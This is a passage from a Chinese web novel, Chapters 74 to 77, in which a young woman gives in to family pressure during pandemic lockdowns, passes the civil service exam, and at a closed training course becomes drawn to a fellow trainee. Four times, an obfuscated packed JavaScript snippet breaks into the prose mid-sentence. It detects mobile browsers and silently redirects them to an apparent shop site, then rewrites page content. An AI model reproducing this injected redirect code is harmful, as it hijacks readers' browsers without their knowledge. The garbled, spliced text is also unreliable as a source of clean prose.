与秦离不同,妈妈是个十分需要线下社交的人,而且讨厌任何阻隔。之前即使在家休养,她也坚持每天都要出门,有时是和老友聚会,有时只是遛狗时和小区其她住户闲聊,这些都是她的心灵力量。然而现在这些都无法实现了,她不能随意出门,即使出去面对的也是一张张冰冷又警惕的眼睛,甚至连脸都看不见。 更不用说,好不容易重新开始的事业轻易没了,还不知道前路在哪里。 她无法接受,所有的情绪宣泄都只能在家里朝向秦离。 她无法直抒自己的失败和焦虑,便只能将这些情绪都外化成对秦离的不满意。 “你看你那个屋子跟个狗窝样,乱成啥样子了。反正天天在家里没事,好好收拾哈嘛,看到就烦。” “莫吃了饭就在那儿一歪起,在客厅和房间里走动哈也好撒。” “虽然现在在封控期,你还是多做点正事,看点书,学点东西,准备哈考证或者考公都可以撒,不要天天就只晓得看小说打游戏,之后浪开办喃?” 考公,这是2020年开始,妈妈慢慢提得多的词。或许是这次动荡给她带来的不安感太强了,之前在外面跑动赚钱的同行,在管控面前什么也不是,只能眼睁睁看着项目黄掉。在物资紧缺的时候,她也没什么办法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370203|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是靠着爸爸体制内身份的一点帮扶解决问题。 这不知道还要持续多久的疫情,已经让她隐隐察觉,整个社会和行业格局都会有大的变化。 还是体制内好啊,稳定。 一直以来喜欢自己打拼的妈妈也开始说这种话了,秦离只觉得无力。 秦离想起她2015年本科毕业的时候,去考公务员事业单位,那是没志向的选择,大家都更愿意去什么快消、投行、咨询、金融之类的行业。但前两天她查了下国考和省考公告,才发现不知道什么时候起,考公的报考比和上岸分数已经成了一个可怕的数字,热门岗位甚至出现了1:1000的比例。 世界是什么时候开始变的呢? 体制内所谓一成不变的生活似乎不再是贬义词,而是稳定安心的代言词,成为普通人苦苦寻求的目标。 世界变得好奇怪…… 春暖花开后,做核酸已经成为常态,南城的疫情管控也慢慢正规化。所有人都很快适应了新的生活,定期做核酸,出门看绿码,关注密接和次密接的行踪,听到“阳”,“黄色”甚至“红色”,“感染”这些词就开始紧张。 目前,遭重的似乎是极少数,除了差不多是都市传闻的感染者,好像也不会有太大问题。表面上,众人的心态慢慢恢复,但始终有层阴霾蒙在心上。 能出去了,秦离也准备重新找工作。两个多月的封控将她和妈妈关在一个房子里,听着妈妈的念叨,即使心里知道要体谅,她也要被憋疯了。 而且没有收入来源,存款减少了许多。秦离不想找家里人要钱,只想靠自己。 然而,世界却给予她痛击。 她不想再找销售相关的工作,不知道能做什么。 毕业五年,没有应届生身份,没有除销售外的其他工作经验,也没有关系人脉,秦离纯凭喜好投了高校、翻译、动画、文化、游戏、编剧等工作岗位,结果是石沉大海。 焦躁的找工作过程中,她才恍惚,自己居然已经好几年没写过东西了,打开文档甚至都不知道该如何开头。 似乎……连最后一点热爱擅长的东西都被扔掉了。 妈妈也知道她投简历的事,总是会问她的进展,每当知道没有回音就会再提考公的事,说到爸爸那边也能帮上点忙。过去由着她自由发展的爸爸,这时候似乎也有些焦急,虽然没有说明,但隐隐透出支持她考公的意思。 最终,秦离妥协了。 考公这个领域只看考试——这也算是自己的长处了吧——不看工作经验,似乎会比较简单。她就找个文化旅游之类的清水衙门呆着,朝九晚五,同时慢慢把写文拾起来,之后再看做其他什么工作,似乎也行吧? 权宜之计。 说不定等写文有了起色,她就能全职养活自己,做个自由职业者也很好呢。 秦离这么想着,突然对未来多了点期待。 74. Chapter 74 秦离开始了全国巡考。 她并不在意工作地点,觉得在哪个城市都一样,甚至隐隐希望能考到沿海大城市去,远离家里人,乐得自由。每当出现这种想法时,她又感到愧疚,觉得自己是不是亲情淡薄,太冷漠了。 其实,她最想去的地方还是梦城。但失去了应届生身份,她再没有考过去的机会了。去企业工作,她又觉得自己没有经验,不够格。 似乎,要一辈子错过梦城了。 备考是件很艰苦的事,还好秦离有经验,挨得住。只是她差不多每隔两三个周末就要奔赴不同的城市,戴着口罩,带着绿码,揣着惴惴不安的心参加考试,还要担心自己不知道什么时候变成密接或次密,被隔离起来。 难挨的时候,秦离会和许多朋友聊天。 逼迫自己每日早起备考后,秦离的作息规律许多,状态也好了不少,至少有精力和勇气跟过去的朋友们恢复联系了。大家一起吐槽疫情管控里的各种难事和笑料,似乎连距离都拉近了很多。 秦离也会时不时和单智,陆希意她们聊天。她俩一个在南半球,一个在刚好有12个小时时差的大洋彼岸,过着与她截然不同的生活。 那年,单智出国后就没再回来。秦离一直和她保持联系,见证了她如何艰难求学,与房东斗智斗勇,在陌生的社会里摸爬滚打,勇敢应对各种坑和欺负自己的人,一点点创造属于自己的小天地,到现在终于做了自己想做的事——在公益机构做儿童的心理辅导。 虽然没多少钱,只够勉强养活自己,哈哈。 但秦离好羡慕她。羡慕她能勇敢踏出那一步,去到一个完全陌生的地方,做自己热爱的工作。那是她想要做却没能做到的。 最近国外疫情也很厉害,单智基本呆在家里没出去。但她也没闲着,陆续画了些水彩和漫画,许多是她为咨询室的小孩子们准备的。 秦离知道,她还自己做耳饰,画T恤,甚至疫情前还会为城市的配电箱画上好看的风景。 她从没丢掉自己热爱的东西,真好啊…… 陆希意的话大概是不同的人生。 她在枫叶国读了旅游管理专业后,顺利毕业留在了那里,又顺利恋爱结婚生子,彻底在那里扎根。生子后,她也没丢弃自我,依旧像个小女孩样爱玩爱闹,不会为了孩子委屈自己。 从读书时开始,她便去了好多好多国家和城市,一个人的,和朋友的,带小孩的。 秦离看着朋友圈里的她,焦点永远在自己身上,永远是欢笑明媚的样子。 她确实过上了自己想要的生活,真好啊…… 和她们聊天时,秦离觉得自己好像也离梦幻的生活近了些,也会想着或许有一天,等她攒够了钱,能再出国读书。 如果自由职业有稳定收入了,她便可以选择喜欢的专业,或许还可以一辈子都读书呢。 真好啊…… 然而回到现实,秦离要面对的依旧是看不完的资料、刷不完的题,还有一次又一次失败。 倒是妈妈爸爸,对她又恢复了耐心,只要看到她在认真看书就很欣慰。爸爸那边通过关系,找了在体制内不同岗位的阿姨叔叔们,想着各种法子多了解点内部消息和捷径,只为了她多一点上岸的机会。 秦离讨厌这样的做法,却也知道这便是这个社会的运行法则,不能说什么,只有闷着头消极应对。 她觉得,即使是考公,她也能凭自己的本事考上,不需要找关系走后门。 或许,是秦离真有这个实力,也或许是爸爸找的某个关系起了作用,9月底的时候,她顺利上岸了。笔试擦线过,面试逆袭第一,综合排名刚好第一,连秦离自己都不可置信。 不管怎么说,总算找到了份稳定的体制内工作了。 大概是,下辈子吃穿不愁? 妈妈爸爸很高兴。即使是疫情期间,她们仍是找了家有档次的饭店,邀请能来的亲朋好友都来,吃顿庆祝的饭。 两人的同事、朋友,还有家里的几个姨、表哥表姐都来了,坐了两大桌。 隔着口罩,秦离都能看见妈爸的眉飞色舞,所有人都在夸她。 “秦离有出息哦,现在考公可不容易,千军万马过独木桥,比高考还难。” “她去这个单位我晓得,岗位比较新,但待遇还是很好的,有前途。” “她从小读书就凶,还是脑壳聪明,说考公就考上了,不像我家那个,哎,秦离,你看撒子时候有空也辅导哈你妹妹嘛。” “娃儿可以,终于稳定下来了。现在社会就是这样,外头企业哪有吃公家饭来得好哦。莫看那些撒子白领高管还有老板一时风光,说不定哪天就遭裁破产了,还是公务员好,铁饭碗!” 饭桌上,秦离喝了不少酒,脸都笑僵了。 毕业后,她这几年都没怎么听到别人的夸奖,今晚乍然听到这么多肯定,即使知道这种带有陈旧保守的意味,却仍控制不住地感到安心。 一边觉得安心,一边又唾弃自己,唾弃自己终于也是对这个世界妥协了。 吃到后面,所有人都红光满面。秦离也喝了很多,晕乎乎的,跟桌上其她人说话的模样也越来越老道,场面话一串串的。 她不自觉拿出之前做销售工作时应对客人的架势,连面对妈爸时说话也条件反射带了几分客气。 崔明秀坐在她旁边,看着她熟练应对,眼神复杂。趁着换酒的间隙,她忙低声跟秦离说:“别喝太多了,悠着点。” 秦离转头,并不清晰的视线里,看着小姨比她记忆中的样子老了许多,原来乌黑的秀发里已经夹杂了快一半的白发,眼神不复过去的意气风发。 “小姨……” 秦离原本狂欢的心中突然涌入一股悲伤。她猛地抱住小姨,也挡住了自己瞬间垮下的脸。 场上其她人还在吃喝着,欢笑着,没有人注意到她们。 “怎么了?” 崔明秀也笑着,笑容淡淡的,落在表面。 “小姨……”秦离喃喃着,“你为什么要从安城回来?” 崔明秀微不可见地顿了下,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370204|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是笑着:“年纪大了,还是想离家人近些安心。而且生意什么的哪里都可以做,南城也有很大的市场。” 秦离没有识趣地停止追问,酒精让她变得冲动鲁莽:“是因为……那里让你伤心了吗……小姨,你还会不会想到邱……” 话到一半,她突然察觉有温热的液体落在脸上,抬头看见小姨在哭。 她在笑,也在哭。 “勺勺,我们不说这个,好吗?” “小姨……对不起,小姨!”秦离瞬间酒醒,后悔自己的鲁莽,手忙脚乱想擦小姨的眼泪,“我不该问这个的,我喝昏头了……” 崔明秀只落了几滴泪。她用手背拭去,很快看不出哭过的痕迹,仍然在笑:“今天是个好日子,我们不说这些。勺勺,不管怎么样,你要好好珍惜现在的生活,珍惜身边人。” “好……” 秦离心里空落落的,她还抱着小姨,却觉得离她很远。 两人之间这点慌乱没被任何人看见。饭局结束后,所有人都戴回蓝色口罩,遮住所有的喜态和丑态,各回各家。 一切又归于平静。 之后,秦离又在家呆了三个月。这三个月,她没有任何顾虑,在家当咸鱼,痛痛快快敞开躺平玩乐。因为工作确定的原因,妈妈不再焦虑,也不急着提相亲的事了。 疫情影响下,她和老同学的公司和项目是彻底黄了。尘埃落定,她反倒看开了,最近爱上了国画,每天在书房里倒腾,还让秦离给她开了个直播号,试着晒点练习过程。如此一来,她对秦离的关注自然少了,除了要求秦离中午必须起床吃午饭外,其它事情上都不管她。 秦离乐得如此,彻底沉浸在快乐网络天堂里。心情放松下来后,她也陆陆续续写了点东西,在过去签约的网站上开了新文,就是更新频率感人罢了。 时间过得很快,跨入2021年,离农历过年还有一个月的时候,单位终于通知秦离去报到了。 到了单位她才知道,自己进的是后勤部门,干的是住房管理相关的活,倒是个完全陌生的领域呢。 秦离运气不错,单位领导和同事都很和善。前三天在综合部门、人力部门跑了一圈后,她的手续终于全部办下来了,合同时间签在去年10月,每月月末发下个月的工资,也就是说年前她就可以领5个月的工资了。 简直是天大的喜事! 刚入职往往都没什么事,秦离每天早上九点到办公室,翻翻书刷刷手机,和同事们闲聊熟悉着,下午五点就可以收拾收拾准备离开了,日子惬意的不行。 同事们大多都是刚毕业就考进来了。这里除了领导岗位外,其她人都是看年限调整职级的,没有竞争关系。 秦离过去所处的工作环境都是龙争虎斗、暗流涌动的,第一次遇到这么和谐的职场,眉目都舒坦开了,愈发觉得到体制内是个正确的选择。 太好了,这下就可以安心码字,也可以多做点自己喜欢的事了。 秦离想着,等工资发下来,就去看看有没有什么有趣的线下课程。 75. Chapter 75 秦离适应得很快。她本就是个开朗的性格,加上刚入职也没接手什么活,每天就悠哉悠哉给办公室老同志打打下手,熟悉单位的规章制度,很快跟院子里大部分人都混了个眼熟。 负责带秦离的姐比她大五岁,说话做事慢条斯理,没什么前辈的架子。单位领导也很和善,还会关心她适不适应新工作,有没有什么困难,跟之前在房地产公司打工的黑心老板完全不同。 春节前,秦离总共领了两万多的工资,自然是比不上销售的月收入,但胜在拿得轻松。春节后,她一口气报了射箭、日语和吉他三门课程,把周末的时间塞得满满的,工作日晚上也是到家就忙着练习。她不上课的时候就在码字,为了保证日更昏天暗地写,有时候上班也在摸鱼写,虽然没什么读者,但看着字数一点点增加很开心。 这么一通搞下来,虽然每天都在赶行程,休息时间比上班还累,秦离内心却很满足,觉得总算没有荒废自己的人生。 感谢这个清闲的工作。 三月底的时候,秦离接到通知,要去商城大学参加三个月的岗前培训。这个岗前培训是她刚入职就该去的,因为疫情推迟到现在,除了她还有其它地区同系统的新入职人员会去,总共大概有两百多人。所有人持码报到,因为疫情管控的原因,这一个半月都不能出校,实行全封闭式管理。 这种封闭式管理让她想起了中学时期,算算距离大学毕业也已经过去六年了。 时间过得好快。 商城是北方城市。除了首都,秦离从没去过北方,心中有些期待。 到达商城那天是个阴天,天空灰蒙蒙的。从机场打车去学校要一个小时,秦离坐在出租车上,看着裸色的方形房屋和光秃秃的树干逐次后退,有种在异地打拼的漂泊感。 商城大学里有许多批来培训的公职人员,她拖着箱子在门口排队登记,出示核酸报告,对着地图记下宿舍、食堂、教室的位置后,跟着大部队往里走。 门口的铁闸关上,再看到校外风景,要三个月后了。 商城是许多朝代的古都,有很多历史遗址和博物馆。秦离想着,等培训结束,还有机会好好逛一逛呢,真好。 为方便管理,参加培训的两百多人被分成了五个班,一个班四十来号人。秦离在五班,宿舍在五楼靠近走廊尽头的位置。宿舍里四个床位,其她人都还没有来,她领了床单被套和笔记本教材,又收拾了一番,差不多饿了,下楼往食堂走去。 初春的商城,正是杨絮乱飘的时候。校园里树都又高又瘦,被大风吹得摇来晃去,呼呼直响。大片大片的杨絮被风卷着,像一团团棉花,奔着人的口鼻袭来。 路面很宽,零星走着几批人,她们都戴着口罩,将自己包裹在大衣里,看不清面孔。放眼望去,只有秦离大剌剌得露着脸,穿着靛蓝色风衣,踩着长靴,引来路人时不时瞥来的目光。 她一直不喜欢戴口罩,以及疫情已经发生一年多了,她依旧不喜欢。戴着口罩,她总觉得人和人的距离隔得好远。 三月底的风还很冷,秦离缩了缩肩膀,加快脚步。 从宿舍到食堂并不远,途中会路过一片湖,湖边有个木质的长廊通往湖心的亭子。凉风带着湖水的腥气迎面而来,秦离顿住脚步,走过去坐在边上,倚着栏杆看两只灰鸭子在湖中央悠哉地游着。 “我要每天听自己喜欢的音乐,悠悠哉哉地过日子。”① 秦离想起了阿叶的座右铭,也是她最喜欢的人生名言。曾经,她也会趴在阳台上看天看云发呆,现在却为无所事事的每分钟时间流逝而感到焦虑。 啊……什么时候才能过上悠哉的生活啊…… 看了一会,鸭子游到湖边,摇摇晃晃着上岸,钻进灌木丛中不见了。秦离伸了个懒腰,摸摸瘪瘪的肚子,想着还是快去觅食吧。 长廊的另一边出口被茂盛的紫藤萝遮掩了一大半。她拨开藤蔓,心不在焉地走着,不留神跟主道上拖着箱子的女孩撞到了一起。 女孩穿着宽松的米色冲锋衣,身形有些消瘦。她的头发披下来刚过肩,白色口罩将脸遮去大半,银框眼镜被撞落,露出一双清澈的眼睛,像山间流淌的溪水般自由灵动。 “不好意思……” 两人异口同声。女孩的声音瓮瓮的,在秦离的视线里不自在地低头蹲下去要捡眼镜。她肉眼可见的局促,手忙脚乱中,挎包滑落,里面东西也散了一地。 秦离蹲下去帮她一起捡,靠得近了,闻见了一股淡淡的清香,带着点黏人的感觉,让她忍不住想凑近再闻闻。 两人的指尖不小心碰在一起,女孩在手往衣袖里缩了缩,加快速度,两三下将所有人东西塞进包里,慌乱戴上眼镜,边说着“谢谢”边朝秦离快速鞠了一躬,拖着箱子跑掉了。 “等等……” 秦离还没来得及说话,女孩就已经拉开一段距离,往宿舍的方向跑去了。 秦离暗道可惜,本来看女孩东西太多,还准备帮她一起拿呢。她摇摇头,继续往食堂走,但不知怎的,女孩那双清澈的眼和身上的香味偶尔会在她脑海里萦绕。 秦离还是没把这段插曲放在心上。 当天晚上,学校开学前动员会,负责人讲了整个培训的安排和注意事项。工作日,她们每天早上八点开始上课,晚上九点结束最后一节课。周末两天休息,不能出校,也尽量别在校园里扎堆活动。每天早晚点名,晚上十一点熄灯,不允许在外面逗留。 秦离和室友坐在一起,听她们吐槽这也太严格了,完全就是拿她们当中学生管。 但没办法,谁的地盘,谁做主。 第二天就开始上课了,政治理论学习、党史党纪教育、行业专业知识、法律法规适用、心理健康辅导等等都囊括了,大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370205|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯燥乏味,上课的人大多不是睡觉就是玩手机,除了不能逃课外,氛围倒是跟大学课堂差不多。 她的三个舍友都是已婚已育人士,每晚回到宿舍就是和孩子打视频电话。秦离和她们聊不到一起,只保持了表面友好。而且,她的好学生心态又来了,每节课都坐在第一排,不管老师讲的什么都认真记下笔记,听着听着又莫名灵感爆棚,写下不少小说大纲和人物设定。 课听得多了,周围也换了不同的人坐着,秦离也跟许多人熟起来了,教了些朋友。 她和其中有个扎着高马尾,看着比较干练的女孩还挺聊得来的。那女孩叫罗娜,在春城上班,也是个性格外向的,是她们三班的班长,见到谁都热情地招呼人一起玩。 认识罗娜时,她们已经上了半个月的课了。秦离当了副班长,这时能叫出这次培训的近半人的名字,跟大家的关系看上去都还不错,大家对她的印象也都很好。但平时吃饭走路,她大多时候都是独自行动,或者撞见谁就跟谁一起,这点和她大学时倒是一模一样。 罗娜和她不同,对什么都很上心。当了班长,她是真的很关心班里人的状态,又喜欢牵头活动,随时都是吆喝着一群人行动,看着热闹得很。 秦离每次看着扎推活动的女孩们,都觉得真好啊,但比起融入,她还是更喜欢游离在团体边缘,跟所有人保持一对一的友好私密关系。 四月的最后一个周末,温度回升了许多,阳光难得明媚。周六下午,罗娜组织了个女子篮球局,在听说秦离也会打后,盛情邀请她一起来玩。 秦离忙摆手:“我那叫什么会打,只是以前寒暑假跟我爸打过。我都不怎么会运球,只会站在那里投篮而已。” 罗娜很热情:“来嘛,反正都是玩,学校里还有羽毛球馆,不行篮球打完,我们还可以去打羽毛球。” 或许是阳光太温暖,春风太和煦,秦离最后答应了。 篮球场是室外的,就在宿舍楼下,她跟着罗娜过去时,发现那边已经等着五六个女生了。其中有个女生穿着一身藏青色的运动服,将衣服拉链拉到最高,遮住脖子和下半张脸。她耳朵上挂着有线耳机,头发全部扎起来绑了个小揪,正和旁边圆脸齐刘海的女孩说笑着,看着有点眼熟。 她转过头,两人四目对视,秦离认出来了,是刚到第一天在湖边撞见的那个女孩。今天的她看着很放松自在,没有当时的局促。 女孩大概没认出她,目光扫过得很快,没有在她身上停留,走到远处大树下和另一个穿裙子的瘦弱女生说话,完全背对着她了。 秦离有些失望,目光一直在女孩的背影上流连。 罗娜对此一无所知。见人都到齐了,她抱着篮球站在场中央,大声喊着:“大家都过来吧,我们来分组。” 说完,她又看向最远处的女孩:“洛依,你跑那么远做什么,快过来。” 76. Chapter 76 洛依转身过来,阳光下,秦离终于看清了她的脸。 她看着很清秀,脸很小,薄嘴唇,内双的杏眼,配着偏圆的银框眼镜,显得可爱又无辜。不笑的时候,她的表情又有点冷,生人勿近的意味。 洛依依旧双手插兜,慢悠悠走过来。白色耳机线搭在她的脸侧和脖颈上,裸露在外的皮肤是不逊色的白皙,像是不怎么晒到太阳。 她似乎也有点不喜欢阳光,人蔫蔫的,过来后表情还有点抗拒,但这种抗拒也是弱弱的。 “真要我上场啊,你们人够的嘛,我在旁边看就好了。”她的声音有些清脆,听上去就是年龄很小的样子。 罗娜可不是会让人推脱的性格,直接将球扔给她:“别磨蹭了,快来。你之前可是校队的,不来打也太可惜了。” 洛依脸上不情愿,手上却很自然地接下传球,几下流畅的运球看得出有些实力在身上。她摘下耳机,挽起袖子,将衣领拉开了些。 秦离就站在罗娜旁边,看着她们熟络的来往,觉得有些不自在。 罗娜招呼大家过来,很快将人分成两组,一边三个,打半场比赛。打一会两边再慢慢换人来,大家都可以玩到。 秦离和洛依被分到了一组。 “这就开始比赛了啊……” 秦离的心脏跳得稍微有些快,或许是知道马上要比赛的原因。她从来没打过,担心拖人后退。 “打比赛才有意思嘛,我们就玩玩,不会太激烈。”罗娜很自如。后来秦离才知道,她读书时候也是校篮球队的队长。 “好吧……”秦离有些胆怯,其实可以换其她人上来打,但她还是没选择下场。 “没事,加油。” 或许是看出秦离的紧张,洛依说了句打气的话。但她没转头,同队的三个人站得很近,秦离也不确定她是不是对自己说的。 秦离只觉得心脏又跳得快了些。 比赛开始,秦离只觉得其她人都很熟练地站在卡人的位置一对一。她狼狈地运着球,好几次都是球脱手被别人抢走了。到后来她不敢运太多球,一直抱在手上。还好娱乐比赛卡得不严,这样也没判违规。 她光顾着不出丑就已经用尽全力,根本来不及看其她人在哪里,是什么样的。跑动没多少,但她脸已经红得不行了。 好难堪…… 洛依很快看出秦离确实不太会。在对方又一次进球的休息间隙,她对秦离说:“我在外围,你拿到球朝我的方向扔就行。” “……好。” 秦离涨红着脸,不敢抬头看洛依的表情。 比赛继续,秦离听洛依刚刚说的,拿到球后就往外扔。但她太紧张了,扔的方向离洛依还有一段距离。 糟糕…… 洛依反应很快,跑动速度也很快,超过其她人,很快将球抓在手上。站在三分线外,她调整身形,很快屈膝起跳,身体微微向后仰,球从她指尖滑出,以完美的抛物线弧度落入球框,篮网被打出响声。 阳光下,她的眼睛里好像落进了光,熠熠生辉,脸侧的碎发被风轻轻出动着。 好酷…… 秦离呆在原地,听着篮球落地的砰砰声,也清晰感受到了胸腔里那颗疯狂跳动的心脏。 洛依笑着跑过来,朝她和另一位队友伸手,秦离也呆呆伸手,获得了一个击掌。 “……抱歉,没扔对方向……” “没事,下次继续就行。” 洛依笑着,唇齿间隐约露出一颗虎牙。 比赛继续。秦离也慢慢适应了比赛节奏,发现其她人并不比她厉害多少,也会有各种低级失误。只有洛依和罗娜,水平明显比所有人高出一截,不愧是校队的。 熟悉后,秦离也获得了一些投篮机会。她没有刚才那么紧张了,慢慢找回平时跟老爸打球时的手感,几次投篮,竟然投中率也不低。 得分后收到洛依夸赞的眼神,秦离觉得心里甜甜的。 她们的队友时间没有太久。打了二十分钟,洛依便说累了,让换其他人上场。罗娜便喊了暂停,让没打过的女生上来,她还留在场上带人。 秦离也趁机下场了。 下来后,洛依又戴上了耳机,将衣领拉到最高,恢复了生人勿近的气场,半点看不出刚才在球场上叱咤风云的样子。 秦离就站在旁边不远处,用余光偷偷瞄她那边,但找不到任何搭话的理由。 洛依去了之前聊天的那两个女孩子那边。齐刘海圆脸的女孩子似乎在双杠那里在尝试做什么动作,洛依说了什么之后,三个人都笑起来了。 她们三人似乎有特别的结界,让人难以介入。三个人看上去年龄都很小,应该都是刚毕业参加工作,眼里似乎还有着对这个世界的好奇,还有活力。 秦离叹了口气,放弃尝试去接触了。 似乎都不是一个世界的人,对方看上去也有关系很亲密的女性朋友,两人之间看上去像是有粉色泡泡那样。 算了吧…… 秦离掏出手机,在朋友圈发了条“尊重爱情,唯有祝福”的意味不明的图之后,坐在边上认真看场上的比赛。 这种还能凑齐这么多人一起活动的机会也不容易,且有且珍惜吧。 等培训结束,她就彻底成为一个没有感情的成熟社畜了。 比赛又打了半个小时后,有些人不想打,准备走了。罗娜也不强求,拢了拢剩下还想打的人继续。 秦离蹲在场边,看着人群散去,自己却不知道该干什么,突然觉得有些寂寞。 算了,要不回宿舍看比赛吧。刚好最近是春季赛,昨天主队难得赢了场比赛,可以回去看看二路回放什么的。 这时,旁边有个高个子女生突然问秦离:“班长,我们要去体育馆打羽毛球,你要一起吗?” 说话的女生是秦离班上的,不太熟,但也说过几次话了。 她们一群人大概五六个,洛依也在其中。之前跟她一起的另外两个女孩子都不见了,可能是去了其他地方。秦离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370206|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中动了动,答应了高个子女生的邀请。 体育馆在学校的东北角,跟西南角这边的宿舍正好是对角线,走过去大概要十五分钟。 几个人零散着走在大道上,不可避免闲聊起来。秦离听见洛依跟其她人提到自己现在单位在春城。 “不过我还没报到,单位让我先过来培训,培训结束再决定去哪里。听说部门准备在南城设个点位,说不定会派我过去。去那里也好,离家还近一点。” 她刚刚也说了,自己是来自中部地区的庸城,准确来说是庸城下面一个小县城。那里跟南城一样嗜辣,确实离得也不远。 秦离心中微动,趁机插入话题:“你之后要来南城吗?我刚好就在南城工作。” “哇,是吗,南城真的是个很有意思的城市,好玩又适合生活,发展得也很好。不像庸城,没啥东西,房价还老高了。” 话题打开了,两人接着聊开。秦离这才发现,洛依并不是她初见以为的那样害羞内敛,聊天起来话也挺多的。但两人的对话掺杂在所有人的群聊之中,而且都是落在家乡啊单位啊上面的普通话题,就像萍水相逢的两个很客气的人。 也确实是萍水相逢的人。 这段路很短,很快就到羽毛球馆了。 周末的下午,球馆里人很多。一群人比较幸运,刚好等到有个场地的人要走,位置空出来了。一半人看到旁边还有空着的乒乓球桌,跑那边去了,最后留下来打羽毛球的只有三个人,决定轮着单打。 秦离的羽毛球技术比篮球要好些,但也只是业务水平,只能说打打普通人还可以。 倒是洛依,羽毛球的架势也很专业,扣球杀球吊球,样样都信手拈来。 另一个人球打得比秦离还菜,不想被虐,打了会就跑去加入乒乓球队伍了。最后只剩下秦离和洛依两个人一来一往。 秦离知道自己打不过,而且也很累了。她自从变胖些,加上没怎么锻炼后,体力就更差了。但她不想结束,硬撑着气喘吁吁地打。 最后,还是洛依先喊了停:“我现在不适合运动太久,先休息休息吧。” “怎么了?” “嗯,身体不太好。” 她看起去确实是有些瘦弱了,但也看不出到底身体哪里不好。秦离有心多问句,又怕冒犯到人,不好开口,最后去买了两瓶矿泉水,递给洛依。 两人坐在场地旁的长凳上,看着场馆里的球来球往,听着无数鞋底在地板上摩擦的声音,很有活力。 两人闲聊了会,说的都是些培训相关的话题,有些拘谨,洛依似乎也不像在熟人面前那么活泼。说到后面,似乎没有太多要说的话了,两人不约而同拿出手机刷着。 秦离放在长凳上的手指动了动,踟蹰着开口:“要不我们加个微信?以后你来南城了可以找我玩。” “好啊。” 两人加了好友,洛依起身去看其她人打乒乓球去了,直到大家一起离开,秦离没找到机会再和她单独说话。 77. Chapter 77 那天之后,秦离的生活又变得跟之前一样。她依旧坐第一排上课,依旧参加各种活动,也依旧独来独往。 不同的是,她的视线里多了一个人。 并不是刻意关注,但每到一个场景里,秦离总能很快发现洛依。 原来上课时,她总是坐在最后几排,要么低着头玩手机,要么悄悄跟人说小话,要么干脆趴着睡觉,总之绝不好好听歌。有时候,课上到一半,她人就偷溜不见了。 她和自己住在一层楼,中间只隔了七八个房间。有时候秦离开完会回来路过她们宿舍,能听见掩了一半房门的房间里传来欢声笑语。秦离能很快识别出她的声音,轻快又活泼。 她好像不怎么去食堂,好几天的饭点,秦离都没在食堂看见她。 校园的大道小路上,秦离偶尔也会直接撞见她。这时候,秦离总是有些紧张和手足无措,不知道应该打招呼,还是低头玩手机假装没看见。 毕竟不知道对方还记不记得自己。 倒是洛依表现得很自如,看见她会微微点头,内敛地笑一笑,当做招呼了。这笑容很客气,跟她平时和朋友打闹时生动自然的笑不同。 秦离知道这很正常,两人本来也不熟,但还是免不了觉得失落。 她也只能回以微笑,两人擦肩而过。 况且,秦离还总能看见洛依和另外两个女孩子呆在一起。她们关系很好,一起笑着说悄悄话,一起逃课,一起打闹,明明也是刚认识不久,却能如此亲密。 秦离已经知道了,瘦瘦的女孩子叫田薇,圆脸齐刘海的可爱女孩叫谢依霖,她们都是98年的小女生,大学刚毕业。 真好啊…… 秦离觉得谢依霖长得挺可爱的,眼睛又大又圆,笑起来苹果肌嘭嘭的,很青春,和洛依站一起也很配。 她情绪有些低落,又为这种低落而自嘲,嘲自己想什么八字没一撇的事。 情绪低落的时候,秦离就愈发喜欢吃东西。单纯将食物塞进嘴里,撑到胃里再塞不下一样东西,这样心里就会舒然点。 商城的面食居多,食堂做得又不很好吃,秦离往往是选中一个难得味道还行的就反复吃,吃到腻为止,再换一个。 前阵子是打卤面和配酥饼的牛肉粉丝汤,最近她发现二食堂二楼的蛋挞很好吃,还便宜,三块钱一个,比外面的好吃多了。就是太火热了,往往等她下课赶过来时已经卖完了。 【中午还买不到蛋挞雪上加霜[裂开][裂开]】 